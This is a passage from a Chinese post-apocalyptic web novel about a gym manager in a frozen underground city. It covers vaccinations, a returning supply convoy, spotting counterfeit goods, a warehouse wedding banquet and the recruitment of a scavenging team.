回去后，肖琳琳忍不住感叹：“还是这边好，江安区那边连退烧药、消炎药都没配齐，这边连流感疫苗都能免费打了！要是我这次休假没回来，那边还不知道要等到猴年马月才有免费的疫苗。” 秦小薇开了句玩笑：“那当然，红浦区毕竟是亲生的！” 别的不说，宁市的高层、主要办公场所都在这边，他们的亲人朋友也在这边，有什么好处自然会先想着“自家人”…… 店里的员工去得早，没排多久队就打上了疫苗，等所有人都回来的时候，打疫苗的队伍已经从街尾排到街头，往另一条街延伸了。 听那边的工作人员说，为了方便大家打疫苗，今天晚上，这片区域不会熄灯，住户有一整夜的时间过来排队。 要是今天没排上，他们明天傍晚也可以过来。 至于为什么选晚上让大家打疫苗……因为地下城定时熄灯，晚上上班的人极少，晚上打疫苗，才不会影响大家白天上班。 因为今天没有熄灯，等到了健身房关门的时候，商业街附近依旧挤满了人，秦小薇推着电动车，手腕上挂着狗绳，以往几分钟的路程，她今天挤了二十多分钟才突破人流，离开这片区域回家。 她晚上出门扔垃圾的时候，还听到邻居和她抱怨，说疫苗打早了，应该等外面免费的疫苗…… 第二天早上，秦小薇刚到店里，就听肖琳琳说，商业街的人直到早上六点半才散，凌晨大家排队排得昏昏沉沉的时候，还出了十几起盗窃事件。 不少已经睡下的巡逻队成员，都被叫过来加班了。 有几人因为和她认识，还拉她过去当了壮丁…… 秦小薇皱眉：“那你不是一晚上没睡！” 肖琳琳：“五点多的时候，我熬不住了，就回来眯了一会儿，前半夜也睡了几个小时……” 那她这一晚上也没睡几个小时！ 秦小薇连忙打开自己带过来的袋子，从里面拿出一个打包盒递给肖琳琳：“那你先吃早饭，吃完去办公室补觉吧！我待会儿和其他人交代一声，让她们别吵你……” 肖琳琳打开便当盒，看到里面还冒着热气的拌面，顿时双眼放光，她也顾不得其他，拿了筷子，就大口大口吃了起来。 肖琳琳：“好香！这面怎么有股卤肉的味道？啊……下面还有两个卤蛋，薇薇，这顿早餐也太丰盛了！” 秦小薇解释道：“我拌面的时候往里面放了点卤汤，卤蛋也是和昨天的卤肉一锅出的……” 吃完早饭，她就赶肖琳琳去补觉了，自己则去前台守着，帮忙招待客人。 下午的时候，店里来了个让秦小薇十分意外的人，陆昼的爱慕者——刘钰婷。 看到她之后，秦小薇联想到了一系列富家女找茬、抢男人的狗血戏码，甚至开始思考各种应对方案…… 但出乎她的意料，刘钰婷和她打了个招呼，就和没事人似的，径直朝着她之前预约好的教练走去，简单的热身过后，她就和教练学起了女子防身术。 她的态度很认真，丝毫没有要过来找茬的意思…… 秦小薇在前台的电脑里输入她的名字，在系统里查了查，发现她半个月前就在她们健身房办了会员，还一连买了三十多节课，这半个月，她也过来上了好几次课。 不过因为秦小薇时常和陆昼一起去外面拆安全屋，所以两人错开了，竟然一次都没在健身房碰到！ 课程结束后，刘钰婷用毛巾擦了擦额头上的汗，径直朝着秦小薇走了过来。 她看着秦小薇，忽然笑了起来：“你刚刚看了我好几次，怕我在你的店里闹事？” 她的声音十分温柔，和以往在别墅区和秦小薇打招呼的时候的态度相差无几。 秦小薇没说话，算是默认了。 刘钰婷没在意，自顾自开口道：“刚开始的时候，我确实挺不甘心的，还想过要不要把你弄得远远的，让他永远都看不到你……但后来想想，一段感情，如果要用这样的方法得到，好像也挺没意思的！” 秦小薇试探道：“所以，你放下他了？” 刘钰婷应了一声，大大方方地承认道：“我本来是想打入敌人内部，知己知彼的，但我最近发现，陆昼对你，还没对家里的狗上心，你周围的同事竟然都不知道 你有男朋友！你天天过来上班，他从来不接送你，也不过来送饭，也就在家的时候，天天去找你……他这种态度，在一起一个星期，我就得和他分手！” 秦小薇：“……” 说完，她还拍了拍秦小薇的肩膀，用过来人的语气开口道：“找男朋友，就算找自己喜欢的，也要对你好才行，这点千万不能将就！” 秦小薇：“……”这姐姐还挺清醒的！ 她之前还担心她是个恋爱脑来着…… 刘钰婷换了个话题，冲着秦小薇提意见道：“你们店里的教练，为什么不能□□？我过来上一次课，还得提前一两天预约，太麻烦了！” 秦小薇立刻拿出招待客人的态度，微笑道：“你可以约上午的时间，上午店里没多少客人，当天预约，当天就能过来！” 刘钰婷没找她麻烦，之后，又建议她把店里的背景音乐换成更“高大上”的纯音乐，还给她推荐了几首曲子，就去更衣室换了干净的衣服，直接离开了。 刘钰婷离开之后，补完觉的肖琳琳凑了过来：“薇薇，那人是谁啊？你有男朋友了？” 她们刚刚说话的时候，并没有压低声音，周围好几个人都听到了，想到刘钰婷还有二十多节课没核销，秦小薇就含含糊糊地应了一声。 肖琳琳的眉头却皱了起来：“听她那意思……薇薇，你谈了个渣男？” 秦小薇可不希望自己留下奇怪的“案底”，连忙摇头：“没有，他……人挺好的！很有能力，对狗也很有耐心……” 秦小薇一连说了陆昼的许多“优点”。 肖琳琳还要追问，不过店里又来了新的客人，秦小薇便转移了话题，含糊过去了…… 假期前两天，肖琳琳还待在健身房，和教练们联络感情，后面几天，她就跟出了笼的小鸟似的，整个地下城到处跑，除了和同学朋友联络感情，她还把地下城还在开业的食铺，挨个尝了一遍。 江安区那边虽然环境比较差，但工资很高，不过那边物资匮乏，物价也比这边高很多。 她在那边上班，每天从早忙到晚，两眼一睁就是干活，根本没时间花钱。 偶尔想要买什么东西，还得七拐八拐，找人从红浦区这边代购，非常麻烦。 难得休个假，她花钱如流水，恨不得把前几个月没花出去的钱一口气花出去！ 来的时候，肖琳琳只带了一个背包，回去的时候，不仅背包被塞得满满当当的，她手上还提了十几个塑料袋，全是她这几天采购的物资。 有些是她自己的，还有些是帮同事“代购”的。 免费的疫苗接种轰轰烈烈地持续了半个多月，除了某些人因为身体原因，无法接种疫苗，红浦区地下城的疫苗接种率高达90%。 等红浦区的人接种得差不多了，上面才安排工作人员去南湖区和江安区的地下城，给那边的住户接种疫苗。 虽然有不少人抱怨宁市高层偏心眼，红浦区的人吃剩下了，才能轮到他们……但嘴上抱怨归嘴上抱怨，他们的身体还是挺诚实的。 第一天接种疫苗的时候，那边接种疫苗的队伍直接绵延了七八条街，早上工作人员要收拾东西离开，他们还不让，闹出了不少乱子…… 肖琳琳好不容易歇了几天，又开始忙了起来——监狱里“添丁”的速度太快，她和同事们每天都在连轴转。 一转眼，时间又过了一个多月，外出搜寻物资的车队终于回来了。 秦小薇很关心这事，从陆昼那知道消息以后，还特地跑去地面上“围观”，想看看车队这趟的收获。 他们回来之前，网上就不断有“小道消息”冒出来，说车队要回来了，还给出了准确的时间，因为消息高度一致，不少人都相信了。 第120章 第120章队长（双更合一）…… 秦小薇出去的时候,地面上有不少人，全都是车队成员的亲人朋友。 有些人一连好几个月没有音信，他们的家人很担心他们,一得到消息,就早早出来等着了。 这种天气,“风雪如刀”根本就不是一个形容词，皮肤要是露在外面,不仅会冻伤,还会被风刮出口子，所以大家出来的时候,都裹得严严实实的。 就算手上没有雪镜，大家也用透明塑料片做了面罩遮住了眼睛，连个眼珠子都没有露出来。 外面太冷了,有些人在地面站了一会,就扛不住外面的低温，又退回地下城了，来来回回,带了不少雪进去，凌晨才打扫干净的出入口很快多了一层碎冰。 有些人不注意,还没出地下城,就滑倒了。 好在大家出来的时候都穿得很多，摔伤并不严重，当然,也有人连地下城都没出，就被同伴送去了医院…… 秦小薇出来得比较晚，她稍微站了一会，车队就出现在众人的视线里了。 最前面带头的,是刷着绿漆的扫雪车和军卡；中间是各种不同车型的民用车，有面包车，也有各种不同尺寸、不同颜色的卡车；最后面，也是军卡垫后。 几乎每辆车的车顶都堆着东西，连带着车身都被加高了不少。 由此可见，他们这趟真的收获颇丰！毕竟物资多到车里都放不下了，只能绑到车顶…… 因为扫雪车的速度很慢，所以队伍的前进速度也很慢。 等车队靠近之后，秦小薇看到，领头的车队里，还有一车荷枪实弹的军人，让人觉得安全感十足！ 车队实在是太长了，地下城原本用于装卸物资的巨大停车场根本就不够用，第一波军卡驶入地下城后，剩下的车便在地面上有序停了下来。 在外面冻了好几个月，现在终于到家了，车队的成员也没在车里等着，有不少人都下了车，只留一两个人在车里守着，剩下的人则回了地下城，打算等轮到他们了，再出来把车开进地下停车场。 车队的成员比围观的人裹得还要厚，秦小薇周围很多人都在喊亲戚朋友的名字，但声音淹没在风声中，很少能得到回应。 “老金！老金！” “年年！老婆，你快看看，那是不是咱们家年年？我看衣服有点像！” “哎，儿子！儿子！妈在这里！” “……” 见这些人都往地下城跑，有些没找到亲人的，又回了地下城，打算回家等人。 外面这么冷，他们肯定待不住，办完了事肯定要回家…… 秦小薇听到有人在呼唤亲人朋友，还有人和亲人见面后，说着这一路的见闻…… “妈，我们这一路找到了好多物资，回来的时候，我们还碰到了一个没人守着的粮仓，里面全是能量饼干，可惜我们的车子都塞满了，只装了一点就回来了……不过后面市政应该还会派人去把能量饼干运回来，毕竟是粮食……” “这一路上顺不顺利？还行吧！我们队算是有惊无险，主要是有军队带着，他们准备得比较齐全，各种情况都考虑到了……” “……路上遇到了意外，车子侧翻了，手被压了一下，后面又冻伤了，医生说胳膊保不住，就给截肢了！爸，我没事！你别哭啊！我这不是保住了一条命、好好回来了吗？” “……” 秦小薇和他们打听了几句，大概知道了他们这趟都弄回来了什么物资，车队里几乎什么都有，能量饼干、面粉、大米、食用油、各种工业生产的原材料、各种已经不再生产的电子产品…… 因为车辆不够装，他们不得不放弃一些东西，等下一趟再运回来…… 外面实在是太冷了，秦小薇略微打听了几句，就回了地下城。 这趟带回来的物资实在是太多了，地下城里负责装货卸货的工作人员忙得脚不沾地，停车场来来往往都是电动叉车和小推车…… 人手不够用，市政甚至还招了一批临时工帮忙卸货。 还留在地下城的住户，虽然没出来迎接车队，但他们也很关心这件事，一打开同城APP，首页飘着的帖子，十个有八个都在讨论车队的事。 可能是之前憋得太狠，太久没上网，到家之后，还没把穿了一路的脏衣服换下来呢，就有人迫不及待地在网上发帖分享这一路的见闻。 除此之外，还有人光明正大地开帖售卖路上弄到的物资，给车队招新人，还有人车上的货都还没卸下来，就在网上接单了，说是下一趟可以帮忙寻找指定的物资……非常热闹。 秦小薇回到健身房的时候，听到店里几个空闲的员工，在讨论网上售卖的物资。 “哎，这四件套质量看着不错……不过，这能买吗？不是说车队外出，找到的物资都是公家的，自己只能拿一小部分吗？我看他货挺多的……” “可能他们这个车队找到的物资也多？人家都敢在网上发帖了，应该没问题，他们都回地下城了，要是贪污了公家的东西，那不是一抓一个准？” “不管了！我买了！我看到有人还弄回来了鱼干，不知道能不能验货？别是坏的……” “……” 秦小薇回到健身房后，屁股还没坐热，就接到了肖琳琳的 电话：“薇薇，我在网上买了些东西，填的是健身房的地址，待会儿东西到了，你能帮我验一下货吗？饭饭和阿霞她们都在上班，抽不出时间帮我收东西……” 秦小薇当即就答应了。 肖琳琳：“等验完了货，薇薇，你在群里和我说一声，我把尾款转给人家，等后面我找辆车，把这些东西一起拉来江安区……” 秦小薇：“行。” 可能是担心没有货源，这批东西卖完就买不到了，肖琳琳下单了不少东西，小到日常护肤用的水乳大到大米面粉，一共有十几单。 秦小薇牵着狗守在门口，仔仔细细地验着货。 现在物资匮乏，市场上很多以次充好的劣质品，如果不多留一个心眼，非常容易踩坑。 因为她检查得细，发现了好几个黑心商家。 秦小薇不顾商家的阻拦，直接把大米面粉的袋子拆了，把里面的东西倒出来，细细检查。 秦小薇：“老板，你这可不厚道，上面东北大米，下面土豆大米……生意可不是这样做的！” 送米的老板被发现卖假货，脸上却不见半点尴尬，他脸上堆着笑，冲着秦小薇开口道：“都是米，一样吃！这样，我给你打个折，你少给两百行不行？” 秦小薇：“这我可不能做主，我得问问我朋友……” 她细细检查了一下老板拿来“滥竽充数”的土豆大米，又对着盆里的米拍了张照片发到群里，把情况和肖琳琳说了。 虽然商家以次充好，但土豆大米质量还行，她们还是买下了这袋米，不过秦小薇帮着砍了价，让商家又便宜了五十。 面粉的质量倒是不错，秦小薇收下面粉之后，店里有客人看了她验货的全过程，还主动找商家要了联系方式，和他订了面粉…… 新床单被虫蛀了，润肤乳过期了，里面的东西还有点臭臭的…… 连着忙活了一个多小时，秦小薇才把肖琳琳买的东西都搬进仓库里。 【秦小薇：好多次品，我感觉有些商家可能是趁着车队在卖东西，就混在里面，假装自己的东西也是从外面拖回来的……】 【秦小薇：就那个水乳，外面温度那么低，保温杯在外面放一天，里面的水都会冻成冰棍，那个老板拿过来的水乳，竟然还是常温的，我拿到手就知道不对劲。】 【秦小薇：饭饭、阿霞，你们最近买东西的时候，记得多留个心眼子。】 【范槿：OK！】 【范槿：我和我爸说一声，他刚刚给我打电话的时候还在库库下单，说今天市场上多了不少好东西，要抓住机会……】 帮肖琳琳收完了包裹之后，秦小薇又联系了之前看好的那几个同学、朋友，询问他们有没有组建队伍，跟着官方一起外出的意向。 车队刚回来，装着物资的大卡车一眼望不到边，同城APP上又有一堆网友在扫货、抢货，实在是让人眼馋，这几人都失业在家，秦小薇的邀请刚发出去，还没来得及说待遇，几人就迫不及待的答应了…… 除了队长，队伍的其他队员暂时定下来了，秦小薇决定晚上回去的时候找陆昼取取经，看看除了食物和保暖物资，外出的队伍还需要额外准备什么。 他和朋友也安排了队伍出去，那些人在外面跑了好几个月，经验肯定比她这个长期窝在地下城的足。 等到了下午，同城APP上卖东西的商家更多了，连带着店里的员工，也下单买了不少东西，一直在进进出出地收“快递”。 下班前，秦小薇和店里的其他员工收到了教练江明月发的请帖：“店长，我和我老公打算明天中午办酒席，你们记得过来吃饭啊！” 请帖是江明月用红色的卡纸自己裁的，和天灾前那些精美的请帖没法比，不过里面的内容是纯手写的，图案也是手绘的，非常用心。 酒席就在明天，有些匆忙，不过，这也不是江明月故意拖到今天才通知他们，实在是他们夫妻俩，直到今天才凑齐了办婚宴需要的物资。 秦小薇收下请帖：“行，那咱们店明天中午早点关门，然后一起过去……” 听到她的话，江明月立刻笑了起来：“太好了！谢谢店长！” 她很多亲人朋友都在外地，因为大雪封城，他们根本赶不过来，江明月送请帖之前，还有些忐忑，担心中午时间不够，同事们没法赶过去，她老公那边凑了好几桌，要是她这边请不到人，那也太难看了！ 秦小薇摆了摆手：“谢什么！我们可都是你的娘家人，你的婚宴都不去，这像什么样子？” 把请帖收到背包里放好，等其他员工都回去了，秦小薇锁上大门，启动了电动车，也和德牧一起回家了。 到家后，她给陆昼发了条消息，问他有没有时间，她想问他一些事。 但消息发出去没多久，她家大门就被陆昼敲响了，他手上提着一条活蹦乱跳的鱼，身边跟着只不断冲她摇尾巴的拉布拉多。 陆昼：“从池子里捞了条鱼，咱们边吃边聊？” 秦小薇：“……好。” 她让了个位置，放他们进来。 拉布拉多十分兴奋，一直绕着秦小薇走，还不断用尾巴抽她的小腿。 还好她刚回家，身上的厚裤子还没来得及脱，要不然，她肯定是要躲一躲的！ 陆昼提着鱼进了厨房，他拿起菜刀，三两下就把鱼拍晕了：“你要找我聊什么？” 秦小薇也没瞒他；“我想组个队伍，和大部队一起外出搜寻物资，想找你问问，路上要给队员准备什么物资……” 这段时间，秦小薇时常找他问外出搜寻物资的队伍的事，陆昼也没觉得意外，他想了想，开口道：“他们已经放假了……这样，我组个局，把人叫到你家里，你自己问他们……你也可以叫上你的人，双方熟悉一下，之后出去的时候，还能有个照应！” 秦小薇从仓库里拿出鸡肉、鱼块、虾仁、南瓜、胡萝卜，哐哐一顿切，然后扔进专门煮狗饭的电饭煲里。 她点头道：“行啊！你看他们那边什么时候有时间，除了明天中午，我都可以配合他们……” 陆昼应了声“好”，又问她：“我直接做烤鱼了？” 秦小薇：“嗯……他们有什么忌口吗？” 陆昼摇头：“外面连能量饼干都不够吃，谁还忌口？你多给他们准备点肉，他们就能把祖宗十八代都跟你交代得一清二楚……” 秦小薇：“……”彳亍口八！ 之后，秦小薇又和他打听了一下，队伍这趟的收获。 按照官方的规定，物资的大头是要上交给公家的，同行的其他队伍，最多就喝点肉汤。 不过这一趟实在是辛苦，有些人跑这一趟，差点连命都没了。 车队完成了官方分配给他们的“任务”后，他们自己在座位底下，或者是车顶多塞几袋物资，又或者是把车内的空间压缩再压缩，多塞点别的东西，管理人员也会睁一只眼闭一只眼，当作没看到。 所以陆昼派出去的队伍，可以说是收获颇丰…… 要谈的事在饭桌上都聊得差不多了，吃完一顿热气腾腾的烤鱼后，陆昼也没有多留，牵着狗就回家了。 晚上，秦小薇躺在床上，拨通了范槿的电话。 范槿：“薇薇，怎么这么晚打电话给我？你碰到麻烦了？” 秦小薇：“不是，我找阿姨，她在你边上吗？我刚刚给她打电话，她没接……” 范槿：“哦，我妈在洗澡！她手机估计不小心开了静音，你找她有什么事？” 秦小薇犹豫了一下，还是说了自己的目的：“我打算组建一支队伍，跟着大部队一起外出搜寻物资，车子和路上消耗的物资都由我这边来出，我觉得阿姨挺适合当队长的，想问问她，愿不愿意接这个活……” 范槿的妈妈是个女强人，天灾爆发之前，她家一直是她负责赚钱养家，之前台风天的时候，秦小薇和她相处过一段时间，对她的能力，还是十分认可的。 以她的阅历，路上就算遇到一些突发状况，她也能处理好。 不过，范妈妈已经四十多岁了，秦小薇有点担心她的身体受不了外面的低温，还有，范瑾和范爸爸可能不会同意范妈妈出去冒险……因为种种顾虑，她纠结了好多天，才开口说这事。 果然，她说完这事之后，电话那头的人就沉默了。 秦小薇等了一会，范槿才开口：“薇薇，你也知道，现在外面有多冷，之前琳琳和阿霞她们一天出去八九个小时，回来手脚都冻成那个样子……我和我爸都有工作，我们家现在没什么经济压力，就算我妈一直没工作也没事……” 找员工这事，本来就是双向选择，得你情我愿，强求不来。 秦小薇早就预料到了范槿可能会拒绝，她也没生气，和范槿简单聊了几句，就挂断了电话。 挂断电话后，她的手无意识地在手机通讯录的界面上下滑动着，眼睛却有些放空…… 忽然手机震动了一下，是寝室群的消息，肖琳琳正在群里吐槽她今天工作的时候碰到的傻逼犯人。 秦小薇回过神来，视线在肖琳琳的头像上停顿了几秒，说实话，肖琳琳其实也挺合适的。 大学刚毕业的时候，她可能还有些稚嫩，但在巡逻队和监狱磨炼了这么久，天天面对那些污糟事，她也锻炼出来了，再加上她是体育生，当过狱警，又会拿枪，到时候给她准备一把改装过的射钉枪，她也能镇住场子。 不过，狱警的工作，就算天天要和尸体、犯人打交道，那也是有编制的铁饭碗，在地下城风吹不着雨淋不着，外出搜寻物资的工作毕竟不稳定…… 想了想，秦小薇还是点了下她的头像，和她私聊了这事。 【肖琳琳：薇薇，你竟然找我当队长！没想到我在你心里的地位这么高，太感动了呜呜呜……】 【肖琳琳：你都开口了！我当然是答应啦！我现在就去写辞职报告！】 【肖琳琳：其他队员都找到了吗？需不需要我推荐？】 看到她的回复，秦小薇十分惊讶，她万万没想到，消息刚发出去，她就答应了！ 肖琳琳甚至都没有犹豫！ 【秦小薇：你不考虑一下？】 【秦小薇：现在辞职了，以后再想回去可就难了！而且，你不是一直觉得当女警很威风吗？】 【肖琳琳：威风什么啊？天天搬尸体！我上次回红浦区，时鑫那小子还和我开玩笑，问我身上的味道是不是尸臭味……我巴不得有个别的工作，能让我脱离苦海！】 【肖琳琳：暴雨刚停的时候，你就带着我发财，后面还收留我、帮我找工作，我在江安区吃不饱，你还一直托人给我送吃的……薇薇，我相信你！跟着你干，肯定不会错的！】 见她如此信任自己，说实话，秦小薇还挺感动的！ 秦小薇和她约定，等她辞职了，就来红浦区，带她和其他的队员见面。 纠结了这么久的事，一下子解决了，秦小薇顿时有种浑身轻松的感觉。 她玩了会手机，又把朔月带去浴室，帮它洗了爪子吹了毛，就抱着它这只大暖炉上床睡觉了。 第二天中午，秦小薇在门口贴了个“有事外出”的公告，就和员工们一起去吃席了。 公租房太小了，地下城寸土寸金，公租房这边又没什么大饭店，江明月的婚宴不是在家里办的，而是在她老公公司的仓库里办的。 办婚宴用的桌椅也是拼拼凑凑借来的，厨子是之前农村烧大席的厨子，对方在仓库门口摆了可移动的锅灶，就开始干活了。 她们一行人到的时候，还没开席，众人都很熟悉，也没要江明月招待，送了礼金和礼物，坐下后，就开始聊天。 今天是江明月的婚宴，她也打扮了一下，不仅化了妆、找人编了头发，还租了敬酒服，就是仓库太冷了，穿敬酒服太冷，她还在外面套了件长款大红色羽绒服。 身后的背景是摆满了货架的仓库，为了应景，货架上还贴了“囍”字，秦小薇第一次在这种地方吃席，觉得有些新奇。 “这炒肉的味道好香啊！” “明月今天好漂亮啊！” “……” “这师傅臂力真强！那么大的铁锅，竟然也能颠得起来！薇薇，你不是练举重的吗？臂力应该也不错，那铁锅你能颠起来吗？”忽然有人问秦小薇。 秦小薇顺着对方的视线，看了下炒菜师傅手里的大铁锅，片刻之后，摇了摇头：“没用过这么大的铁锅，小的可以颠起来……” 说说笑笑间，男方那边的亲朋好友也来了，婚宴也开始了。【你现在阅读的是 】 120-130 第121章 第121章卷纸（双更合一）…… 仓库里一共摆了六桌,女方这边只坐了两桌，男方那边坐了四桌。 女方这边人比较少，秦小薇她们调整了一下位置,坐得稍微松散了一些,才把桌子坐满。 其实挤一挤,五桌也能坐下，不过单数寓意不好,毕竟是婚宴,江明月夫妻俩还是摆了六桌。 虽然婚宴是在仓库里办的，不过桌上的菜色却很不错,还有梅菜扣肉、炖猪蹄之类的大菜，担心这些菜端上来之后，会被瞬间夹空不好看,帮厨上菜的时候,先上的都是蔬菜和汤。 几张桌子离得很近，秦小薇能清晰地听到其他桌的聊天声。 她从其他人口中得知，这个仓库他们公司已经借给员工办了好几次红白喜事了,后面货架上的“囍”字，还是前一对新人贴的。 外面的人想要过来借地方,花上几千块,也能租到场地，不过离开之前得把仓库打扫干净，这也算是他们公司创收的一种方式了…… 热热闹闹地吃完一顿喜宴,又收了新人准备的伴手礼，秦小薇一行人才离开。 路上，有人好奇，忍不住拆开伴手礼看了看,袋子里有喜糖、杯子、毛巾和巧克力。 袋子里所有的东西都带有红色元素，袋子口还扎着红丝带，看起来十分喜庆。 看到袋子里的巧克力，众人都有些吃惊：“妈耶，竟然还有巧克力！加上宴席上那些菜，明月他们办这个婚宴，花了不少吧？” 巧克力是一个非常大众的牌子，天灾之前，超市三四十就能买一盒。 但这款巧克力现在已经停产了，再加上巧克力热量高，能迅速为外出的人提供热量，导致巧克力的价格飙升，一下子涨了十几倍。 伴手礼里虽然只放了几块巧克力，但花钱买的话，按照市场价，也要三位数了。 有个之前和江明月睡上下铺的教练开口道：“我听明月说，这次婚宴还请了她老公的领导，他们现在住的房子，就是人家帮忙弄的，可能是想好好谢谢他们，所以才准备这么多好菜好饭，伴手礼也费了心思……” 另一个教练忍不住感叹：“结婚可真花钱啊！我感觉明月从结婚到现在，就一直在花钱，买家具、准备婚宴……她还想要个孩子，那也是个吞金兽！” 秦小薇：“她准备要孩子？” 听到秦小薇的问话，说话的教练瞬间安静如鸡，过了好一会，她才小心翼翼地开口道：“店长，您不会因为明月想要孩子，就辞退她吧？” 虽然秦小薇一直对外说，健身房背后还有个“老板”，但那个“老板”从没出现过，店里发工资、招人之类的大事小事，也是秦小薇全权负责，因此在她们心里，秦小薇就是健身房的老板。 健身教练的工作性质比较特殊，一些坐办公室的工作，孕期还能继续干，但江明月教的是女子防身术和拳击，她要是怀孕了，上课的时候，肯定不能照着以前的工作模式来，只能口头指导一下，肯定会影响顾客的体验…… 秦小薇觉得有些好笑，她摇了摇头：“怎么会？咱们店还不至于这么没有人情味，不过得给她换个岗位，孕妇不能剧烈运动……” 听她这么说，刚刚说漏了嘴的教练才松了口气。 晚上下班，秦小薇正准备回去，就见范妈妈站在门口等她。 秦小薇：“阿姨，你怎么站在门口不进来？” 范妈妈：“我看你们刚刚一直在忙，就没进去打扰你。” 秦小薇：“阿姨，咱们都这么熟了，说什么打扰！阿姨，您来找我有什么事吗？” 范妈妈：“小槿和我说了，你想找我带队出去找物资……我想试试。” 秦小薇有些为难：“阿姨，昨天饭饭拒绝我之后，我就找了琳琳，她辞职报告都交上去了……” 范妈妈顿时沉默了。 要是秦小薇和别人只是口头约定，她还能争取一下，但肖琳琳一个有编制的，为了帮秦小薇，连工作都辞了，她再怎么争取，秦小薇也不会用她…… 她思考了几秒，继续开口道：“小薇，你看，咱们也知根知底，你能找我，肯定是相信阿姨的能力，这样，你让我做个普通队员，要是路上遇到什么事，我也能搭把手！” 秦小薇心中一动，她想了想，问她：“阿姨，那叔叔和饭饭那边……” 范妈妈摇了摇头：“不用管他们，家里我说了算！” 秦小薇没立刻答应她：“阿姨，您让我考虑下，回头给您电话。” 还是先看看范槿的态度吧！她并不想因为这件事，和范槿生疏了…… 范妈妈应了一声，就回去了。 第二天，江明月上班的时候，秦小薇就和她说了调岗的事。 教练的工资里，提成占了很大一部分，听到秦小薇说要给她调岗，江明月的脸上闪过一丝欣喜，但片刻之后，她踌躇道：“店长，那调岗之后我的工资……” 秦小薇：“基础工资不变，但是提成肯定会比之前少。你也知道，做咨询和给学员上课，付出的时间和体力是不一样的……放心吧！就提成降一些，其他的福利不会少你的，等你身体恢复了，我再把你调回来，你可是咱们健身房的金牌教练，我可舍不得放你走！” 秦小薇最后一句话，算是给江明月吃了颗定心丸，她点点头道：“行，店长，那我尽快把手上的单子转出去，转不走的，我尽量联系学员，看看能不能尽快把课上了……” 秦小薇提醒她：“你要注意身体！” 她已经搬出去一段时间了，新婚夫妻干柴烈火，秦小薇也不确定，她什么时候会怀上…… 江明月听懂了她的意思，她摆了摆手：“放心吧！店长，我大姨妈还在身上，还没怀呢！” 听她这么说，秦小薇放心了。 下午的时候，她看到同城APP上有人抱怨，说宁市又来了一批难民，正堵在地下城门口，要求工作人员放他们进来。 看到网上的帖子，秦小薇忍不住皱眉：怎么又有难民来了？ 健身房的众人也在讨论这事，宁市现在的人实在是太多了，有新人加入，就意味着，他们的生存空间会被压缩，大家都不希望地下城再添新人。 “我看到有人发帖说他们是从最南边的沿海地区过来的……” “不是说现在海里能弄到海货，还有人迁回去吗？他们怎么反而往内陆跑？” “说是那边在打仗，敌军还投了核｜弹，附近的人怕辐射，不少人都自己组织队伍转移了，路上碰到了咱们的车队，就跟在车队后面过来了……” “啊？打仗了？我怎么不知道？” “咱们赢了没？家里都被人投核｜弹了，咱们不会是输了吧？” “和谁打啊？怎么网上都没人说这事？” “……” 对普通人来说，战争和天灾的意义完全不一样，知道这些难民的来历后，同城APP上网友们的注意力瞬间从“出入口的工作人员能不能拦住难民”变成了“他们究竟有没有打赢”。 一些习惯潜水的网友，也冒了出来，关心这场仗是什么时候开始的，和谁打，究竟有没有赢，损失多少…… 甚至还有人想千里跋涉，去参军支援，不过那人很快就被泼了冷水。 网友说军人的选拔很严格，培养的都是高素质人才，培养成本也很高，根本不是他想的那样，报名后随便拿把枪，就能上战场。 他要是报名了，说不定连后勤都进不去…… 还有人发帖，说他之后要组织车队去战区支援，在网上为战区的战士们募集物资。 虽然前台发帖可以匿名，但同城APP实际是由官方管理的，从后台看，所有人都是实名制上网，那人很快就被警察查出来，他是搞诈骗的。 帖子发出来没多久，人就被抓了，帖子还被管理人员打了个巨大的“诈骗”红戳，提醒其他网友不要上当…… 关于战区的情况，市政得到的消息也很模糊，只知道在交战过程中，己方并没有吃亏，所以网友们讨论了许久，宁市的官方也没有出来回应这事。 虽然市民们的注意力都被转移了，但堵在地下城出入口的人，官方也得管，官方照旧没放他们进来，而是把他们安置在地面上，和上一批难民一起生活。 有些人受不了地面上的居住环境，收拾了东西，又继续往北边迁移了，寻找更适合的城市…… 总体来说，这波难民除了让地下城的普通人知道了南边在打仗的事，并没有造成太大的乱子。 晚上到家后，秦小薇刚打开家里的大门，还没进院子，陆昼就牵着狗从他家后门出来了。 陆昼：“刚得到一点消息，去你家说……” 秦小薇点头，让他跟着自己一起进了屋，进屋后，秦小薇给他洗了些水果：“什么消息？说吧！” 陆昼看着桌上的果盘，弯了弯唇角：“下周车队就出发了，这次，市政不会再发公告招募新队伍……” 见她的表情变了，他拿了颗西梅，慢条斯理地补充道：“不过，这次是沿着之前的路去运物资，等他们回来了，还会继续招募队伍出去开荒……” 秦小薇想到了已经提交了辞职报告的肖琳琳，忍不住皱眉：“那不是还要再等几个月？” 陆昼摇头：“这条路刚走了一遍，路都通了，预计半个月就能跑个来回。” 秦小薇：“那还好……” 陆昼：“这趟能分到的东西不多，有些队伍打算继续休整，下一趟再继续开荒，你可以运作一下，顶替他们的名额……这趟很快就能回来，也能让队伍里的人磨合一下，要是有不合适的，就直接把人换掉。” 秦小薇思考了一下，开荒队一走就是几个月，路上的各种意外不可预料，这趟提前磨合一下，和正式考试之前的模拟考也差不多了！可以安排！ 秦小薇：“行，我找人打听一下这事……” 她没让陆昼帮忙，在富人区住了这么久，她手上也算是有点人脉了，这事找其他人，她也能办成。 陆昼吃着盘子里的水果，时不时给脚边的拉布拉多投喂几块，说完事情，他依旧不打算离开。 秦小薇有些奇怪地看了他一眼：“你要留下来吃晚饭？” 陆昼用眼神指了下桌上的果盘：“秦小薇，你过河拆桥的速度也太快了！我来送消息的时候，好吃好喝地招待我，现在没有利用价值了，就直接赶人？” 秦小薇：“……你慢慢吃。” 这家伙又不缺这一口，计较这么多干什么？难道是太久没吃西梅和西瓜，馋这口了？ 盘子里的水果快要见底的时候，陆昼忽然问她：“秦小薇，你空间里还有多余的空地吗？” 秦小薇从仓库里拿了之前煮好的便当出来，正准备吃晚饭，闻言，有些警惕地盯着他：“你想干什么？” 陆昼：“你知道的，我还弄了批药材种子回来……地下城腾不出地 方，我思来想去，还是种你空间里最合适。” 秦小薇忍不住提醒他：“咱们之前在风城换了很多药！” 市政后面还派运输机弄了生产线回来……她不理解，这家伙弄那么多药干什么？ 陆昼掀开眼皮，看了她一眼：“药这种物资，多少都不嫌多。” 秦小薇：“……” 她想了想，还是摇头：“我懒，不想种地……药材还得炮制，这活机器人应该干不了吧？” 陆昼：“……” 农场只有秦小薇能自由进出，她不愿意，陆昼也不能勉强，两人没有谈拢，陆昼只能无奈离开。 